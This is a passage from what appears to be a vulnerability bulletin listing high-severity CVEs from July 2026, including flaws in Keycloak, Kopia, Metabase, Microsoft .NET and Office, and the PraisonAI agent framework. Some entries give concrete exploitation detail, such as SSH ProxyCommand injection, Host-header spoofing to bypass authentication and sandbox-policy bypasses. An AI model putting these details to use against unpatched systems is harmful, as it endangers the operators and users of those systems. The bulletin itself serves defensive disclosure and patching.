| Keycloak--Keycloak                             | A flaw was found in Keycloak. When the JSON Web Token (JWT) authorization grant preview feature is enabled and a user account is disabled, Keycloak fails to validate the user's disabled status during JWT authorization grant processing. A remote attacker with low privileges can exploit this improper access control vulnerability by presenting a valid assertion token from an external identity provider to obtain a JWT for a disabled user. This allows unauthorized access to sensitive resources.                                                                                                                                                           | 2026-07-16 | 8.1        | <a href="#">CVE-2026-1609</a>  |
| Kodezen LLC--aBlocks                           | Incorrect Privilege Assignment vulnerability in Kodezen LLC aBlocks ablocks allows Privilege Escalation.This issue affects aBlocks: from n/a through < 2.9.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57386</a> |
| Kofi Mokome--Message Filter for Contact Form 7 | Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Kofi Mokome Message Filter for Contact Form 7 cf7-message-filter allows Reflected XSS.This issue affects Message Filter for Contact Form 7: from n/a through <= 1.6.3.8.                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-13 | 7.1        | <a href="#">CVE-2026-57423</a> |
| kopia--kopia                                   | Kopia is a cross-platform backup tool for Windows, macOS, and Linux with fast incremental backups, client-side end-to-end encryption, compression, and data deduplication. Prior to 0.23.0, Kopia's HTTP server started with --without-password accepts unauthenticated requests to /api/v1/repo/exists and forwards attacker-supplied SFTP storage configuration to blob.NewStorage, where externalSSH: true and sshArguments containing -oProxyCommand=<cmd> can cause exec.CommandContext("ssh") to invoke the command through OpenSSH. This issue is fixed in version 0.23.0.                                                                                        | 2026-07-16 | 9.8        | <a href="#">CVE-2026-45695</a> |
| labring--FastGPT                               | FastGPT is a knowledge-based AI application platform. From 4.14.17 until 4.15.0-beta5, the POST /api/core/chat/record/getCollectionQuote endpoint authenticates the caller's chat and collection context, but the initialId center-node lookup is not bound to that authorized context. A low-privileged tenant user can call the endpoint with valid attacker-owned appld, chatId, chatItemId, and collectionId values while supplying another tenant's dataset data id as initialId, causing the response to include foreign dataset quote or full-text content. This issue is fixed in version 4.15.0-beta5.                                                          | 2026-07-15 | 7.7        | <a href="#">CVE-2026-61644</a> |
| LatePoint--LatePoint                           | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in LatePoint LatePoint latepoint allows Blind SQL Injection.This issue affects LatePoint: from n/a through <= 5.6.3.                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-13 | 9.3        | <a href="#">CVE-2026-57714</a> |
| Lenovo--App Store                              | A potential path traversal vulnerability was reported in Lenovo App Store, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code.                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-16 | 7.3        | <a href="#">CVE-2026-13103</a> |
| Lenovo--App Store                              | A potential vulnerability was reported in Lenovo App Store, distributed exclusively in the Chinese market, that could allow a local authenticated user to execute arbitrary code with elevated privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-16 | 7.3        | <a href="#">CVE-2026-13104</a> |
| Lenovo--Legion Zone                            | A potential insecure permissions vulnerability was reported in Legion Zone and the Lenovo App Store Windows applications, distributed exclusively in the Chinese market, that when installed on a non-system partition, could allow a local user to execute arbitrary code.                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-16 | 7          | <a href="#">CVE-2026-9046</a>  |

# High Vulnerabilities

| Primary Vendor -- Product            | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | Published  | CVSS Score | Source & Patch Info            |
|--------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Lightning-AI--pytorch-lightning      | PyTorch Lightning through 2.6.5, fixed in commit d710d68, contains a remote code execution vulnerability in the <code>_load_state</code> function that imports and executes attacker-controlled module names from checkpoint <code>_instantiator</code> hyperparameters. Attackers can craft malicious checkpoint files that bypass <code>weights_only=True</code> protections to execute arbitrary code when <code>LightningModule.load_from_checkpoint</code> is called.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 7.8        | <a href="#">CVE-2026-58659</a> |
| lightpanda-io--browser               | Lightpanda is a headless browser designed for AI and automation. Prior to 0.3.1, Lightpanda searched for <code>@</code> across the entire URL string instead of only the authority component when computing a page origin, so a URL such as <code>'http://attacker.com/@victim.com/'</code> was fetched from <code>attacker.com</code> but treated as <code>'http://victim.com'</code> , allowing a complete Same-Origin Policy bypass. This issue is fixed in version 0.3.1.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 9.3        | <a href="#">CVE-2026-52842</a> |
| lightpanda-io--browser               | Lightpanda is a headless browser designed for AI and automation. Prior to 0.2.9, <code>Lightpanda.fetch()</code> and <code>XMLHttpRequest</code> unconditionally attached session cookies to every HTTP request, ignoring credentials: omit, credentials: same-origin, credentials: include, and <code>XMLHttpRequest.withCredentials</code> , allowing an attacker-controlled origin in a Lightpanda session to issue authenticated cross-origin requests against a victim origin. This issue is fixed in version 0.2.9.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-15 | 9.3        | <a href="#">CVE-2026-52843</a> |
| Linux--Linux                         | In the Linux kernel, the following vulnerability has been resolved: <code>ipv4: account for fraggap on the paged allocation path</code> In <code>__ip_append_data()</code> , when the paged-allocation branch is taken, <code>alloclen</code> and <code>pagedlen</code> are computed as <code>alloclen = fragheaderlen + transhdrlen</code> ; <code>pagedlen = datalen - transhdrlen</code> ; <code>datalen</code> already includes <code>fraggap</code> , but the <code>fraggap</code> bytes carried over from the previous <code>skb</code> are copied into the new <code>skb</code> 's linear area at offset <code>transhdrlen</code> by the subsequent <code>skb_copy_and_csum_bits()</code> . The linear area is therefore undersized by <code>fraggap</code> bytes while <code>pagedlen</code> is overstated by the same amount. The non-paged branch sets <code>alloclen</code> to <code>fraglen</code> , which already accounts for <code>fraggap</code> because <code>datalen</code> does. Bring the paged branch in line by adding <code>fraggap</code> to <code>alloclen</code> and subtracting it from <code>pagedlen</code> . After this adjustment, copy no longer collapses to <code>-fraggap</code> on the paged path, so remove the stale comment describing that old arithmetic. | 2026-07-16 | 7.8        | <a href="#">CVE-2026-53366</a> |
| lissy93--dashy                       | Dashy is a self-hostable personal dashboard. Prior to 4.0.8, Dashy deployments using OIDC can allow unauthenticated users or non-admin authenticated users to write changes to the main <code>config.yaml</code> through the config-saving functionality despite configured permissions, allowing unauthorized modification of dashboard configuration and potential service disruption. This issue is fixed in version 4.0.8.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-15 | 8.2        | <a href="#">CVE-2026-46485</a> |
| MailerPress Team--MailerPress        | Incorrect Privilege Assignment vulnerability in MailerPress Team MailerPress mailerpress allows Privilege Escalation.This issue affects MailerPress: from n/a through <= 2.0.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57410</a> |
| manyfold3d--manyfold                 | Manyfold is an open source, self-hosted web application for managing a collection of 3d models, particularly focused on 3d printing. From 0.96.0 until 0.140.0, authenticated users can rename uploaded files with path traversal sequences because <code>app/models/model_file.rb</code> uses the user-controlled filename in <code>File.join(model.path, filename)</code> without sufficient sanitization, allowing files to be moved or written outside the configured library directory. This issue is fixed in version 0.140.0.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-16 | 7.1        | <a href="#">CVE-2026-46336</a> |
| Marcus (aka @msykes)--Events Manager | Deserialization of Untrusted Data vulnerability in Marcus (aka @msykes) Events Manager events-manager allows Object Injection.This issue affects Events Manager: from n/a through <= 7.3.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-13 | 8.8        | <a href="#">CVE-2026-57713</a> |
| Melograno Venture Studio--Amelia     | Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Melograno Venture Studio Amelia ameliabooking allows Blind SQL Injection.This issue affects Amelia: from n/a through <= 2.4.2.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-13 | 9.3        | <a href="#">CVE-2026-57702</a> |
| MervinPraison--PraisonAI             | PraisonAI before 1.6.78 contains a server-side request forgery vulnerability in the <code>web_crawl</code> tool that validates hostnames at check time but re-resolves them at connection time without IP pinning. Attackers can use DNS rebinding to bypass SSRF protection and retrieve internal HTTP response bodies from private or loopback services.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 8.5        | <a href="#">CVE-2026-61430</a> |
| MervinPraison--PraisonAI             | PraisonAI before 4.6.78 contains an authentication bypass in the Call API agent invocation endpoints ( <code>src/praisonai/praisonai/api/agent_invoke.py</code> ) when <code>PRAISONAI_CALL_AUTH=disabled</code> is configured. The safeguard intended to restrict the disabled-auth opt-out to localhost binding derives the bind host from <code>request.url.hostname</code> , which is taken from the client-controlled HTTP Host header. A remote, unauthenticated attacker who can reach the service over the network can send a spoofed 'Host: 127.0.0.1' header to bypass the localhost-only restriction and list ( <code>GET /api/v1/agents</code> ) and invoke ( <code>POST /api/v1/agents/{agent_id}/invoke</code> ) registered agents without authentication.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-15 | 8.2        | <a href="#">CVE-2026-61435</a> |



# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 fails to verify Svx webhook signatures in AgentMail webhook mode, allowing unauthenticated attackers to forge message.received events. Attackers can send crafted JSON payloads to the webhook endpoint to invoke configured agents with arbitrary sender addresses and message content.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-15 | 8.6        | <a href="#">CVE-2026-61436</a> |
| MervinPraison--PraisonAI  | PraisonAI before 1.6.78 contains a remote code execution vulnerability in SkillTools.run_skill_script() that executes scripts without path containment validation. Attackers can supply absolute file paths to execute arbitrary scripts from any filesystem location, including those outside the intended working directory.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | 2026-07-15 | 8.1        | <a href="#">CVE-2026-61443</a> |
| MervinPraison--PraisonAI  | PraisonAI (praisonaiagents) before 1.6.78 contains a remote code execution vulnerability in the plugin manager, which loads and executes arbitrary Python (.py) files from project-level and user-home .praisonai/plugins/ directories using importlib.spec_from_file_location() and exec_module() without code signing, integrity verification, or sandboxing. An attacker who can write a malicious .py file to a plugin directory (for example via path traversal, a supply chain attack, or a compromised dependency) achieves arbitrary code execution when the plugin system initializes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-15 | 8.4        | <a href="#">CVE-2026-61446</a> |
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 contains an unenforced security policy vulnerability in the default Subprocess Sandbox backend where blocked_commands, blocked_paths, blocked_imports, allow_subprocess, and allow_file_write restrictions are completely ignored. Attackers can execute arbitrary subprocess commands, read sensitive files, and perform destructive operations despite explicit security policy configuration.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | 2026-07-15 | 7.5        | <a href="#">CVE-2026-60085</a> |
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 exposes the MCP HTTP-stream transport without authentication by default: the CLI --api-key option defaults to None, and the server only enforces Authorization/Bearer checks when an API key is configured. When an operator runs 'praisonai mcp serve --transport http-stream' without an API key, an unauthenticated client (no Authorization header, and no Origin header, which is also permitted) can initialize a session, enumerate the available tools (tools/list), and invoke tools (tools/call). Additionally, the dispatcher forwards tool-call arguments to handlers without validating them against the advertised inputSchema. The server binds to 127.0.0.1 by default, so remote exploitation requires the operator to bind to a network-accessible address (e.g., --host 0.0.0.0).                                                                                                                                                                                                                                                         | 2026-07-15 | 7.3        | <a href="#">CVE-2026-61427</a> |
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 fails to safely encode deployment configuration values when generating Python source code for API servers. Attackers can inject arbitrary Python expressions through the deploy.api.host and agents_file configuration parameters that execute when the generated server starts or handles requests.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 7.8        | <a href="#">CVE-2026-61433</a> |
| MervinPraison--PraisonAI  | PraisonAI before 4.6.78 contains a remote code execution vulnerability in JobWorkflowExecutor._exec_inline_python() due to insufficient AST validation of workflow script steps. Attackers can create malicious YAML workflow files with import os statements followed by os.system() calls that bypass sandbox checks and execute arbitrary OS commands with process privileges.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-15 | 7.3        | <a href="#">CVE-2026-61438</a> |
| meshtastic--firmware      | Meshtastic is an open source mesh networking solution. Prior to version 2.7.21.1370b23, the Meshtastic GitHub repository's main_matrix.yml workflow is triggered by pull_request_target and multiple jobs check out the attacker's fork code and execute it with access to repository secrets and elevated GITHUB_TOKEN permissions. No approval gate exists. Pull requests from external users with author_association: "NONE" triggered the CI workflow automatically. The workflow directly executes attacker-controlled files from the fork checkout. This issue could have resulted in supply chain compromise, self-hosted runner compromise, and/or repository takeover for the repo. This issue is separate from GHSA-6mwm-v2vv-pp96, which addressed a command injection via github.head_ref in the setup job of the same workflow. That fix correctly moved to environment variables. However, the more critical fork checkout vulnerability across the check, build, and build-debian-src jobs was not addressed. Version 2.7.21.1370b23 contains a patch for this issue. | 2026-07-19 | 10         | <a href="#">CVE-2026-44359</a> |
| meshtastic--firmware      | Meshtastic is an open source mesh networking solution. Prior to version 2.7.23.b246bcd, a single node advertising a User.long_name that contains a malformed character encoding can render other radios unusable over BLE when managed through the iOS app. The malformed name does not need to be maliciously crafted - it can arise from ordinary buffer truncation and has been observed occurring naturally in the wild. At least one code path could place a null terminator in the middle of a multibyte sequence, leaving a malformed User.long_name in the node database. The problem surfaced downstream: the iOS app enforced encoding validation and therefore cannot parse a node database                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-19 | 7.5        | <a href="#">CVE-2026-42566</a> |

# High Vulnerabilities

| Primary Vendor -- Product | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       | Published  | CVSS Score | Source & Patch Info            |
|---------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
|                           | once it contains a poisoned entry. This caused BLE sync to enter a fail/retry loop, resulting in loss of control over the affected device. For a typical user managing their radio with the iOS app, the device becomes effectively unusable until the poisoned node ages out of the on-device database, or unless they have an alternate management path (e.g., the Python CLI, which can be used to identify and remove the offending entries manually). Because the malformed name propagates through the mesh, the temporary presence of a single affected node can degrade BLE management for iOS users across a wide geographical area for an extended period. Less technical users have no straightforward recovery path. Starting in version 2.7.23.b246bcd, the firmware has added input sanitization and regression tests demonstrating recovery for already-poisoned devices. The apps have also taken steps to ensure more graceful handling of malformed encoding sequences as well. |            |            |                                |
| metabase--metabase        | Metabase is an open-source business intelligence and embedded analytics tool. From 1.54.0 until 1.54.24, 1.55.24, 1.56.25, 1.57.19, 1.58.14, 1.59.10, and 1.60.4, a Metabase user with permission to add or edit a database connection can achieve remote code execution on the Metabase server by configuring a Snowflake connection to an attacker-controlled server, because a flaw in the Snowflake JDBC driver can write arbitrary files anywhere on the Metabase host, including replacing one of Metabase's own database driver files that later executes inside the Metabase process. This issue is fixed in versions 1.54.24, 1.55.24, 1.56.25, 1.57.19, 1.58.14, 1.59.10, and 1.60.4.                                                                                                                                                                                                                                                                                                   | 2026-07-15 | 10         | <a href="#">CVE-2026-50148</a> |
| metabase--metabase        | Metabase is an open-source business intelligence and embedded analytics tool. From 1.57.0 until 1.57.19.1, 1.58.14.1, 1.59.10, and 1.60.4, an attacker who can configure a Metabase database connection can read arbitrary files from the Metabase server's filesystem by adding unsafe JDBC parameters to a MySQL or MariaDB connection, causing the driver to read files from the Metabase host and expose the contents through queries against the connected database or through validation error messages. This issue is fixed in versions 1.57.19.1, 1.58.14.1, 1.59.10, and 1.60.4.                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-15 | 7.6        | <a href="#">CVE-2026-50147</a> |
| Metagauss--ProfileGrid    | Authentication Bypass Using an Alternate Path or Channel vulnerability in Metagauss ProfileGrid profilegrid-user-profiles-groups-and-communities allows Password Recovery Exploitation.This issue affects ProfileGrid : from n/a through <= 5.9.9.6.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-13 | 7.5        | <a href="#">CVE-2026-57697</a> |
| MetaGuru--HCM             | The HCM developed by MetaGuru has a SQL Injection vulnerability. Authenticated remote attackers can inject SQL commands via specific parameters, thereby compromising the confidentiality, integrity, and availability of database data.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-15 | 8.8        | <a href="#">CVE-2026-15804</a> |
| Microsoft--.NET 10.0      | Incorrect implementation of authentication algorithm in ASP.NET Core allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 8.8        | <a href="#">CVE-2026-47300</a> |
| Microsoft--.NET 10.0      | Authentication bypass by assumed-immutable data in ASP.NET Core allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 8.8        | <a href="#">CVE-2026-47303</a> |
| Microsoft--.NET 10.0      | Incorrect authorization in .NET allows an unauthorized attacker to bypass a security feature over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 8.2        | <a href="#">CVE-2026-50528</a> |
| Microsoft--.NET 10.0      | Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-47302</a> |
| Microsoft--.NET 10.0      | Improper validation of specified type of input in .NET Framework allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50524</a> |
| Microsoft--.NET 10.0      | Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50525</a> |
| Microsoft--.NET 10.0      | Improper link resolution before file access ('link following') in .NET allows an authorized attacker to perform tampering locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 7          | <a href="#">CVE-2026-50526</a> |
| Microsoft--.NET 10.0      | Stack-based buffer overflow in .NET Framework allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50527</a> |
| Microsoft--.NET 10.0      | Allocation of resources without limits or throttling in .NET Framework allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50648</a> |
| Microsoft--.NET 10.0      | Allocation of resources without limits or throttling in .NET allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50651</a> |
| Microsoft--.NET 10.0      | Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 7.5        | <a href="#">CVE-2026-56170</a> |
| Microsoft--.NET 10.0      | Access of resource using incompatible type ('type confusion') in .NET Core allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        | 2026-07-14 | 7.5        | <a href="#">CVE-2026-57108</a> |
| Microsoft--.NET 8.0       | Protection mechanism failure in .NET Framework allows an unauthorized attacker to execute code locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50646</a> |
| Microsoft--.NET 8.0       | Deserialization of untrusted data in .NET allows an unauthorized attacker to execute code locally.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50649</a> |

# High Vulnerabilities

| Primary Vendor -- Product                             | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | Published  | CVSS Score | Source & Patch Info            |
|-------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--.NET 8.0                                   | Improper control of generation of code ('code injection') in .NET Framework allows an unauthorized attacker to elevate privileges locally.                                                                                                                                                                                                                                                                                                                                                                                                                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50650</a> |
| Microsoft--Age of Empires II: Definitive Edition Game | Relative path traversal in Age of Empires II: Definitive Edition Game allows an unauthorized attacker to execute code over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 8.8        | <a href="#">CVE-2026-50663</a> |
| Microsoft--AspNet.OData                               | Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 7.5        | <a href="#">CVE-2026-45646</a> |
| Microsoft--AspNet.OData                               | Allocation of resources without limits or throttling in ASP.NET Core allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50506</a> |
| Microsoft--Azure Active Directory                     | Deserialization of untrusted data in Azure Active Directory allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50652</a> |
| Microsoft--Azure Active Directory                     | Loop with unreachable exit condition ('infinite loop') in Azure Active Directory allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50653</a> |
| Microsoft--Azure CycleCloud 8.9.1                     | Missing authentication for critical function in Azure CycleCloud allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                | 2026-07-14 | 8.8        | <a href="#">CVE-2026-57969</a> |
| Microsoft--Azure Monitor Agent Metrics Extension      | Improper certificate validation in Azure Monitor Agent allows an unauthorized attacker to elevate privileges over an adjacent network.                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 8.8        | <a href="#">CVE-2026-47632</a> |
| Microsoft--Azure Spring Apps                          | Improper authentication in Azure Spring Apps allows an authorized attacker to elevate privileges over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                                    | 2026-07-14 | 8.2        | <a href="#">CVE-2026-50338</a> |
| Microsoft--GitHub Copilot Plugin for JetBrains IDEs   | Improper restriction of names for files and other resources in Github Copilot allows an unauthorized attacker to execute code locally.                                                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50510</a> |
| microsoft--kiota                                      | Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.0, Kiota's Ruby generator embedded OpenAPI default fields, property names, and other schema-derived strings through CodeMethodWriter.cs and SanitizeForQuotedLiteral() in Writers/StringExtensions.cs into Ruby double-quoted literals without escaping #, allowing attacker-controlled #{expr}, #svar, or #@var interpolation markers to inject arbitrary Ruby code into generated model classes. This issue is fixed in version 1.32.0.                                                                       | 2026-07-16 | 7.5        | <a href="#">CVE-2026-59861</a> |
| microsoft--kiota                                      | Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.0, Kiota's Python generator let attacker-controlled enum value descriptions from x-ms-enum.values[].description flow through KiotaBuilder.SetEnumOptions into Documentation.DescriptionTemplate and PythonConventionService.RemoveInvalidDescriptionCharacters without newline sanitization, allowing generated inline comments to split and execute attacker-controlled Python code at module scope when generated modules were imported. This issue is fixed in version 1.32.0.                               | 2026-07-16 | 7.5        | <a href="#">CVE-2026-59862</a> |
| microsoft--kiota                                      | Kiota is an OpenAPI based HTTP Client code generator. Prior to 1.32.5, Kiota resolved OpenAPI \$ref values by fetching remote http(s) URLs and reading local absolute or out-of-tree file paths, allowing `kiota generate` on an attacker-controlled or attacker-influenced description to perform build-time SSRF, remote file inclusion, and local file inclusion by inlining external schemas such as REMOTE_KIOTA_PROP or Leaked into generated clients. This issue is fixed in version 1.32.5 by AllowedExternalOriginsStreamLoader and the --allowed-external-origins option. | 2026-07-16 | 7.1        | <a href="#">CVE-2026-59867</a> |
| Microsoft--Microsoft .NET Framework 3.5               | Improper verification of cryptographic signature in .NET allows an unauthorized attacker to bypass a security feature over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                               | 2026-07-14 | 8.1        | <a href="#">CVE-2026-47304</a> |
| Microsoft--Microsoft .NET Framework 3.5               | Stack-based buffer overflow in Active Directory Federation Services allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50304</a> |
| Microsoft--Microsoft .NET Framework 3.5               | Stack-based buffer overflow in Active Directory Federation Services allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50355</a> |
| Microsoft--Microsoft .NET Framework 3.5               | Stack-based buffer overflow in Active Directory Federation Services allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                                 | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50368</a> |
| Microsoft--Microsoft .NET Framework 3.5               | Stack-based buffer overflow in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                                                         | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50411</a> |
| Microsoft--Microsoft .NET Framework 3.5               | Loop with unreachable exit condition ('infinite loop') in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.                                                                                                                                                                                                                                                                                                                                                                                                              | 2026-07-14 | 7.5        | <a href="#">CVE-2026-50647</a> |

# High Vulnerabilities

| Primary Vendor -- Product                           | Description                                                                                                                                      | Published  | CVSS Score | Source & Patch Info            |
|-----------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------------|------------|------------|--------------------------------|
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Out-of-bounds read in Microsoft Office allows an unauthorized attacker to execute code locally.                                                  | 2026-07-14 | 8.4        | <a href="#">CVE-2026-55045</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47290</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office Excel allows an unauthorized attacker to execute code locally.                                                | 2026-07-14 | 7.8        | <a href="#">CVE-2026-47642</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Heap-based buffer overflow in Microsoft Office allows an unauthorized attacker to execute code locally.                                          | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50301</a> |
| Microsoft--<br>Microsoft 365<br>Apps for Enterprise | Use after free in Microsoft Office allows an unauthorized attacker to execute code locally.                                                      | 2026-07-14 | 7.8        | <a href="#">CVE-2026-50314</a> |
